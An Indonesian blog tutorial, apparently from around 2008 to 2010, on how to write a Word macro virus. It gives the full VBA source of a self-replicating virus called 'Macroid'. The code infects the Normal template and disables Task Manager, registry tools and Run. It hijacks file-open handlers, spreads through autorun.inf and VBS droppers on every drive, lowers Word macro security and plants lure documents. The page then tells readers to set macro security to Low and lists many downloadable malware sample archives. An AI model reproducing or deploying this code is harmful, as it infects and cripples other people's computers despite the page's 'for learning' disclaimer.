Virus komputer umumnya dapat merusak perangkat lunak komputer dan tidak dapat secara langsung merusak perangkat keras komputer tetapi dapat mengakibatkan kerusakan dengan cara memuat program yang memaksa over process ke perangkat tertentu. Efek negatif virus komputer adalah memperbanyak dirinya sendiri, yang membuat sumber daya pada komputer (seperti penggunaan memori) menjadi berkurang secara signifikan. Hampir 95% virus komputer berbasis sistem operasi Windows. Sisanya menyerang Linux/GNU, Mac, FreeBSD, OS/2 IBM, dan Sun Operating System. Virus yang ganas akan merusak perangkat keras.
(Baca: ilmu dalam tutorial ini untuk pembelajaran bukan untuk disalahgunakan)
Ini adalah tutorial saya yang kesekian kalinya dan mudah-mudahan tutorial kali ini bermanfaat untuk kalian.
Kali ini saya akan membahas mengenai virus macro… (para virus maker diharap untuk tenang dulu!).
Pasti banyak bertanya kenapa kali ini membahas tentang cara membuat virus? Biasanya kan lebih sering membahas analisis virus atau antivirusnya itu….
Yah kali ini memang agak berbeda. Selain untuk mencari suasana baru, aku juga agak tertantang dengan artikel yang saya buat ini.
Sebelum aku membuat artikel ini, aku sengaja mencari-cari kelemahan dari antivirusku sendiri (baca:Morphost). Ternyata aku lebih tertarik untuk membuat virus macro untuk mencari celah antivirusku itu. Untuk membuat artikel ini memang butuh pengorbanan juga. Soalnya komputerku jadi terinfeksi oleh virusku sendiri. Haaahhh…..

Virus macro merupakan virus yang dibuat dalam bahasa pemrograman visual basic macro di Microsoft Office. Kita ambil contoh, virus macro Word.
CARA MEMBUAT VIRUS
  1. Buka Ms.Word (hanya contoh)
  2. buka tools > Macro> Visual Basic Editor

  • Akan muncul gambar di bawah

Lalu kita ketikkan source virus nya pada kotak putih diatas dan akan tampak gambar seperti dibawah ini.


Sekarang muncul pertanyaan! Source yang bagaimana yang harus diketik???
Tenang, aku dah siapkan kok sourcenya. Makan neh source code!
‘This is my code’s virus
‘Macro Viruses
‘[Macroid]
‘Hanya untuk pembelajaran
Private Sub Document_Close()
Dim AD, NT As Object
Dim isi As String
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
If AD.Name <> “Macroid” Then
AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines
AD.Name = “Macroid”
isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)
AD.CodeModule.AddFromString isi
ActiveDocument.Save
End If
If NT.Name <> “Macroid” Then
NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines
NT.Name = “Macroid”
isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)
NT.CodeModule.AddFromString isi
NormalTemplate.Save
End If
If InStr(ActiveDocument.Content, “Macroid”) = 0 Then
ActiveDocument.Content = “[Macroid]” & vbCrLf & ActiveDocument.Content & vbCrLf & vbCrLf & vbCrLf & “[Macroid] by Morphic” & vbCrLf & “copyright(c) Medan Juli-2008″
End If
On Error Resume Next
Dim b As Object
Set b = CreateObject(“Wscript.Shell”)
b.regwrite “HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh Macroid”
b.regwrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Macroid”
b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “Macroid”
b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”
b.regwrite “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha ha ha”
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “2″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”, “1″
b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”, “Tong Sampah Macroid”
b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”, “Komputer Morphic”
b.regwrite “HKLM\SOFTWARE\Classes\exefile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\comfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\batfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”, “0pen”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”, “&Open”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\command\”, “wscript.exe ” & Environ$(“windir”) & “\avmc.vbs”
b.regwrite “HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
On Error Resume Next
Dim rog As Integer
Dim atr, vbs, Tipu(10), Trik(10) As String
For a = 66 To 90
partisi = Chr$(a)
vbs = partisi & “:\auto.vbs”
atr = partisi & “:\autorun.inf”
Tipu(1) = partisi & “:\Soal SPMB 1995-2008.doc”
Tipu(2) = partisi & “:\Kisah di balik HarryPotter.doc”
Tipu(3) = partisi & “:\Titip File sebentar.doc”
Tipu(4) = partisi & “:\jangan di baca.doc”
Tipu(5) = partisi & “:\buku harian.doc”
Tipu(6) = partisi & “:\cerita hangat.doc”
Tipu(7) = partisi & “:\Punya Baim.doc”
Tipu(8) = partisi & “:\Teka-teki yang baru.doc”
Tipu(9) = partisi & “:\Kumpulan cerita lucu.doc”
Tipu(10) = partisi & “:\Trik Sulap.doc”
If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then
Randomize
rog = Int(10 * Rnd) + 1
Open Tipu(rog) For Output As #1
Print #1, “”
Close #1
End If
Trik(1) = partisi & “:\Novel J.K.Rowling.doc”
Trik(2) = partisi & “:\cerita cinta.doc”
Trik(3) = partisi & “:\Ringkasan cerita HarryPotter.doc”
Trik(4) = partisi & “:\Semua Cheat game DOTA.doc”
Trik(5) = partisi & “:\Kumpulan Cheat game.doc”
Trik(6) = partisi & “:\Cheat game RF.doc”
Trik(7) = partisi & “:\Cheat game Ayo Dance.doc”
Trik(8) = partisi & “:\Goosebumps.doc”
Trik(9) = partisi & “:\FearStreet.doc”
Trik(10) = partisi & “:\R.L.Stine.doc”
If Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then
Randomize
rogi = Int(10 * Rnd) + 1
Open Trik(rogi) For Output As #1
Print #1, “”
Close #1
End If
Open atr For Output As #1
Print #1, “[Autorun]“
Print #1, “shell\Open\command=wscript.exe auto.vbs”
Close #1
SetAttr atr, vbHidden + vbSystem
Open vbs For Output As #1
Print #1, “dim a”
Print #1, “set a = createobject(” & Chr(34) & “Wscript.shell” & Chr(34) & “)”
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\10.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\11.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\12.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Close #1
SetAttr vbs, vbHidden + vbSystem
Next a
If Dir(Environ$(“windir”) & “\Macroid.doc”) = “” Then
Dim isicrita As String
isicrita = “[Macroid] by Morphic” & vbCrLf & “Copyright(c) Medan Juli-2008″ & vbCrLf & vbCrLf & _
Chr(34) & “Ms.Word is a thing that can be used as a power to break everything…. ” & Chr(34) & vbCrLf & “(Morphic)”
Open Environ$(“windir”) & “\Macroid.doc” For Output As #1
Print #1, isicrita
Close #1
End If
If Dir(Environ$(“windir”) & “\avmc.vbs”) = “” Then
Open Environ$(“windir”) & “\avmc.vbs” For Output As #1
Print #1, “set fs = createobject(” & Chr(34) & “Scripting.FileSystemObject” & Chr(34) & “)”
Print #1, “for each FD in fs.drives”
Print #1, “if (FD.Drivetype = 1) and FD.Path <> ” & Chr(34) & “A:” & Chr(34) & ” then”
Print #1, “set tf = fs.CreateTextFile(FD.Path” & Chr(38) & Chr(34) & “\Jangan di baca.doc” & Chr(34) & “)”
Print #1, “end if”
Print #1, “Next”
Close #1
End If
ActiveDocument.Save
NormalTemplate.Save
End Sub
Private Sub Document_Open()
CommandBars(“Tools”).Controls(“Macro”).Visible = False
CommandBars(“Tools”).Controls(“Macro”).Enabled = False
CommandBars(“Tools”).Controls(“Customize…”).Visible = False
CommandBars(“Tools”).Controls(“Options…”).Visible = False
Dim AD, NT As Object
Dim isi As String
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
If AD.Name <> “Macroid” Then
AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines
AD.Name = “Macroid”
isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)
AD.CodeModule.AddFromString isi
ActiveDocument.Save
End If
If NT.Name <> “Macroid” Then
NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines
NT.Name = “Macroid”
isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)
NT.CodeModule.AddFromString isi
NormalTemplate.Save
End If
If InStr(ActiveDocument.Content, “Macroid”) = 0 Then
ActiveDocument.Content = “[Macroid]” & vbCrLf & ActiveDocument.Content & vbCrLf & vbCrLf & vbCrLf & “[Macroid] by Morphic” & vbCrLf & “copyright(c) Medan Juli-2008″
End If
On Error Resume Next
Dim b As Object
Set b = CreateObject(“Wscript.Shell”)
b.regwrite “HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh Macroid”
b.regwrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Macroid”
b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “Macroid”
b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”
b.regwrite “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha ha ha”
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “2″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”, “1″
b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”, “Tong Sampah Macroid”
b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”, “Komputer Morphic”
b.regwrite “HKLM\SOFTWARE\Classes\exefile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\comfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\batfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”, “0pen”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”, “&Open”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\command\”, “wscript.exe ” & Environ$(“windir”) & “\avmc.vbs”
b.regwrite “HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
On Error Resume Next
Dim rog As Integer
Dim atr, vbs, Tipu(10), Trik(10) As String
For a = 66 To 90
partisi = Chr$(a)
vbs = partisi & “:\auto.vbs”
atr = partisi & “:\autorun.inf”
Tipu(1) = partisi & “:\Soal SPMB 1995-2008.doc”
Tipu(2) = partisi & “:\Kisah di balik HarryPotter.doc”
Tipu(3) = partisi & “:\Titip File sebentar.doc”
Tipu(4) = partisi & “:\jangan di baca.doc”
Tipu(5) = partisi & “:\buku harian.doc”
Tipu(6) = partisi & “:\cerita hangat.doc”
Tipu(7) = partisi & “:\Punya Baim.doc”
Tipu(8) = partisi & “:\Teka-teki yang baru.doc”
Tipu(9) = partisi & “:\Kumpulan cerita lucu.doc”
Tipu(10) = partisi & “:\Trik Sulap.doc”
If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then
Randomize
rog = Int(10 * Rnd) + 1
Open Tipu(rog) For Output As #1
Print #1, “”
Close #1
End If
Trik(1) = partisi & “:\Novel J.K.Rowling.doc”
Trik(2) = partisi & “:\cerita cinta.doc”
Trik(3) = partisi & “:\Ringkasan cerita HarryPotter.doc”
Trik(4) = partisi & “:\Semua Cheat game DOTA.doc”
Trik(5) = partisi & “:\Kumpulan Cheat game.doc”
Trik(6) = partisi & “:\Cheat game RF.doc”
Trik(7) = partisi & “:\Cheat game Ayo Dance.doc”
Trik(8) = partisi & “:\Goosebumps.doc”
Trik(9) = partisi & “:\FearStreet.doc”
Trik(10) = partisi & “:\R.L.Stine.doc”
If Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then
Randomize
rogi = Int(10 * Rnd) + 1
Open Trik(rogi) For Output As #1
Print #1, “”
Close #1
End If
Open atr For Output As #1
Print #1, “[Autorun]“
Print #1, “shell\Open\command=wscript.exe auto.vbs”
Close #1
SetAttr atr, vbHidden + vbSystem
Open vbs For Output As #1
Print #1, “dim a”
Print #1, “set a = createobject(” & Chr(34) & “Wscript.shell” & Chr(34) & “)”
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\10.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\11.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\12.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Close #1
SetAttr vbs, vbHidden + vbSystem
Next a
End Sub
Hati –hati dengan source diatas. Karena lumayan bikin pening juga. Tapi maaf ya kalo aku gak bisa jelasinnya sekarang. Karena kalo aku jelasin nanti tutorial ini terlalu panjangggggggggggggggg……. Makanya penjelasan mengenai source di atas aku buat di tutorial kedua.
EFEK-EFEK KECIL DAN TANDA-TANDA TERINFEKSI



Nah coba tebak mana file virus dan mana file yang bukan virus!!!!!!!!
Jawabannya lihat di bawah!!

CARA MEMBUAT VIRUS LANJUTAN
Ini nih, dulu saya udah janji untuk ngelanjutin sample virus macro yang saya buat dulu. Di tutorial kali ini saya akan jelasin sedikit demi sedikit untuk mempelajari virus macro ini…
Pernah dengar virus Macroid? Itu adalah salah satu contoh virus macro yang saya buat.
Langsung aja.
Buka visual Basic editor di Tools>macro>visual basic editor ato tekan pada keyboard Alt+F11
Tampilannya mirip dengan VB6 kita, dan penggunaan sourcenya juga gak jauh beda…
Misalnya :
Dim AD as object
Ya gak. Mirip kan dengan script di VB6? Dan dilanjutkan dengan penggunaan ”set”. Misalnya :
set AD=ActiveDocument.VBProject.VBComponents.Item(1)
ha ha ha… oke deh gak usah main-main. Langsung keserius nya aja…
Script dibawah ini untuk mengubah ”Name” document yang diinfeksi (umumnya ini yang dijadikan sebagai nama virus macro kita)
dim AD as object set AD=ActiveDocument.VBProject.VBComponents.Item(1)
if AD.Name “Macroid” then AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines AD.Name = “Macroid” end if
contoh script diatas adalah untuk mengubah name document menjadi ”Macroid”. (efek ini baru bisa dijalankan setelah virus yang utuh dieksekusi)
Script diatas bisa kamu sisipkan di ”Document_Close()” ato di ”Document_Open()” ato di ”Document_New()”
Kalo disisipkan di “Document_Close()” efeknya akan berjalan saat document ditutup. Dan begitu juga dengan “Document_Open()” dan “Document_new()”
Kalo disisipkan di “Document_Open()” efeknya akan berjalan saat document dibuka.
Kalo disisipkan di “Document_new()” efeknya akan aberjalan saat document baru dibuka.
Ini contoh gambarnya…
image002
Efeknya adalah ini.

Itu tandanya virus “Macroid”!!! ha ha ha… oke.
Sebenarnya saya mau menjelaskan lebih banyak soal trik-trik virus macro, tapi saya yakin sebelum sampai diatas pasti masih banyak masalah untuk kalian…
Sebelumnya kalian harus perhatikan security macro kalian.
Lihat Tools>Macro>security
image006
Yang harus kita pilih adalah opsi ”Low” supaya Ms.Word akan menjalankan semua script di visual Basic Editor. Karena kita masih belajar-belajar biarkan saja kita yang atur security ini, nanti kalo kita udah mau bikin virus macro, ada caranya supaya virus kita yang ngatur security ini… tenang aja…
Setelah kita set securitynya, silakan save document terus hidupkan document kita tadi.
Ada satu lagi masalah… kalo nanti ”misalnya” ada gambar seperti dibawah ini:
image010
Berarti ada hal yang harus kita atur dulu… Buka lagi security macro tadi.
Lalu pada tab Trusted Publishers silakan ceklis “Trust aceess to Visual Basic Project”
Nah klo itu dah dilakukan, maka untuk berikut-berikutnya kalo kita mau ngetes virus macro kita udah bisa boss….
Sekian dulu tutorialnya, tunggu tutorial berikutnya ya….

DOWNLOAD KUMPULAN VIRUS UNTUK DI OPREK-OPREK

Koleksi Virus Agustus 2009
Rh354 sampel.rar
SAMPEL-RECYCLER(VMX).rar
Vir A-25-8-09_ By Neo Bekabe.zip
y-aorsli.autorun.worm.rar
y-new.malware.A.rar
y-new.malware.B.rar
y-Spy.tool.rar
y-trojan.agent2.rar
y-trojan.dropper.rar
y-Trojan.murlo.rar
y-trojan.regrun.rar
y-worm.autoit.rar
y-worm.generic.b.rar
y-worm.generic.rar
Koleksi Virus September 2009
(2) trojan.generic.zip
comwarior.c.zip
conficker.rar
sality.zip
SampelvirusRecycler.zip
SampelvirusRecycler.zip
Sample virus.zip
SimbOS.sebelo.zip
SymbOS-Fontal.A.zip
trojan.generic.zip
Virus by Neo BeKaBe_09-09.zip
Virus Ganas.tar.gz
Virus.Win32.Sality.p.zip
Virus.Win32.Sality.q.zip
Virus.Win32.TeddyBear.zip
y-infected.suspected.zip
y-psw.online.games.zip
y-Sality.Suspected.rar
y-sality.varian.rar
y-sality.varian.yudha.rar
y-suspected.virus.zip
y-trojan-agent.zip
y-trojan.agen.lagi.zip
y-trojan.delf.zip
y-trojan.VB.ITN.zip
y-virus.cacing.zip
y-virus.pwrszr.warnet.b.zip
y-virus.pwrszr.warnet.zip
y-virus.winlib32.warnet.zip
y-zndll.warnet.rar
Koleksi Virus Oktober 2009
y-Ciluka.B.rar
y-Ciluka.worm.rar
y-Conficker.Variant.rar
y-cuakep.varian.rar
y-Cuakep.virus.zip
y-delf.varian.rar
y-FakeAlert.trojan.zip
y-Falder.trojan.zip
y-FFE.rar
y-FraudPack.trojan.zip
y-HantuRimba.rar
y-kemben.b.rar
y-Kemben.rar
y-new.virus.rar
y-ratnguy.virus.rar
y-RatuFelisha.rar
y-sality.nakal.rar
y-sality.varian.lagi.rar
y-sality.varian.lagi2.rar
y-suspected.ise32.rar
y-suspected.keygen.rar
y-suspected.virus.lagi.rar
y-suspected.virus.rar
y-Symbos.Comwar.rar
y-Symbos.rar
y-Trojan.Acad.rar
y-Trojan.Agent.rar
y-VB-KZN.worm.rar
y-Virus.Jim.zip
y-Virus.VB.rar
y-virut.varian.lagi.rar
y-zola.fakeAV.zip
y.suspected.virus.rar
y.VB.Worm.PDL.rar
y.Virut.varian.zip
Koleksi Virus Bulan November 2009
(2) New Folder.rar
(3) New Folder.rar
autorun.inf,DidugaVirusINF
file terinfeksi oleh virus varian alman by adnan.zip
file terinfeksi virus by adnan.zip
linkinfo.rar
logoff.exe,LogOff
more.rar
New Folder.rar
Sampel virus by coe88.zip
Sampel virus zPharaoh.zip
Setup.rar
y-Alman.Varian.rar
y-Brontok.rar
y-Email.Worm.lagi.rar
y-Email.Worm.rar
y-Nimda.htm.rar
y-Runonce.Lagi.rar
y-Runonce.worm.rar
y-Sality.AA.rar
y-Sality.AM.rar
y-Sality.Injected.rar
y-Sality.lagi.rar
y-Sality.Varian.lagi.rar
y-sality.varian.rar
y-Suspected.Autorun.rar
y-Suspected.Generic.rar
y-Suspected.virus.rar
y-Thumbss.vbs.rar
y-Trafaret.Worm.rar
y-Trojan-Gen.rar
y-Trojan.Gen.Varian.B.rar
y-Trojan.Gen.varian.C.rar
y-Trojan.Gen.varian.rar
y-Virut.Injected.rar
y-Worm.Agent.zip
y-Worm.Agent2.zip
y-Worm.Saber.Autorun.rar
y-Yuyun.Varian.rar
y.GameThief.rar
Koleksi Virus Bulan Desember 2009
(2) y-Suspected.Virus.rar
a-fake file.zip
ABG.Gila.rar
al.rar
autorun.rar
Autorunme.Worm.rar
Backdoor.PHP.Small.o [Kaspersky].rar
BAT.Mita.rar
By Neo_BKB_Setup.exe
Cuakep.Baru.rar
Cuakep.Varian.rar
FlashDiskLock.rar
Gen.Troj.rar
gendel32.Trojan.rar
I miss you. Varian.rar
Infected.Autorun.Worm.rar
m.rar
Malware.by.Shafry.rar
Mita.vbs.rar
Morphirii.rar
MP3.Samson.Worm.rar
msvbvm60.rar
New.Virus.rar
New.virus.rar
Nimda.htm.rar
Playboy.A.rar
Playboy.B.rar
Runonce.Infected.rar
Runonce.Varian.rar
Sadic.vbs.rar
Sample Virus 11 Des 09.zip
Script.New.rar
sgemtx.rar
shireen_sungkar.rar
Smadav 7.3.rar
svchost.7z
Trojan.Downloader.html.rar
Trojan.Lagi.rar
vbs.script.rar
virus Bokep.rar
Virus CoPas by Maxx.rar
Virus.BDEWASA.zip
Virus.item.rar
Virus.rar
Worm.Bagle.AG.2.exe.gz
y-Ardamax.Worm.rar
y-Autorun.Worm.rar
y-Gadis.Ancol.rar
y-Gen.troj.rar
y-JS.Agent.Troj.rar
y-Malingsia.Varian.2.rar
y-Malingsia.Varian.3.rar
y-Malingsia.Varian.rar
y-Sality.Varian.rar
y-Sex.17Tahun.rar
y-Suspected.Virus.rar
y-Trojan.Acad.rar
y-Trojan.Backdoor.rar
y-Trojan.Dropper.rar
y-Trojan.FatalError.rar
y-Trojan.Gen.Lagi.rar
y-Trojan.Gen.rar
y-Trojan.Gen.Varian.rar
y-Virus.Acad.rar
Yuyun.Thumb.lagi.rar
Yuyun.Thumb.Varian.rar
Koleksi Virus Januari 2010
Autoit.Varian.rar
autorunme.Recycler.rar
autorunme.Recycler.zip
bukan virus.rar
Cinta.Laura.Worm.rar
Gen.Troj.Yahoo.B.rar
IRC.Worm.rar
iseng.vbs.rar
New Folder.rar
New.Virus.rar
New.Virus.Undeepfreeze.zip
Nimda.htm.rar
Pharaoh(pass=1234).rar
rad05b8f.zip
Recycler.scr.rar
Recycler.Varian.rar
Sality.Varian.hkcmd.zip
Sality.Varian.lagi.rar
Sality.Varian.rar
Script.vbs.rar
Trojan.Dropper.rar
VIDEO maria OZAWA 2.zip
Vira.Worm.zip
virus ternate.daa
Worm.Gen.rar
Reade more >>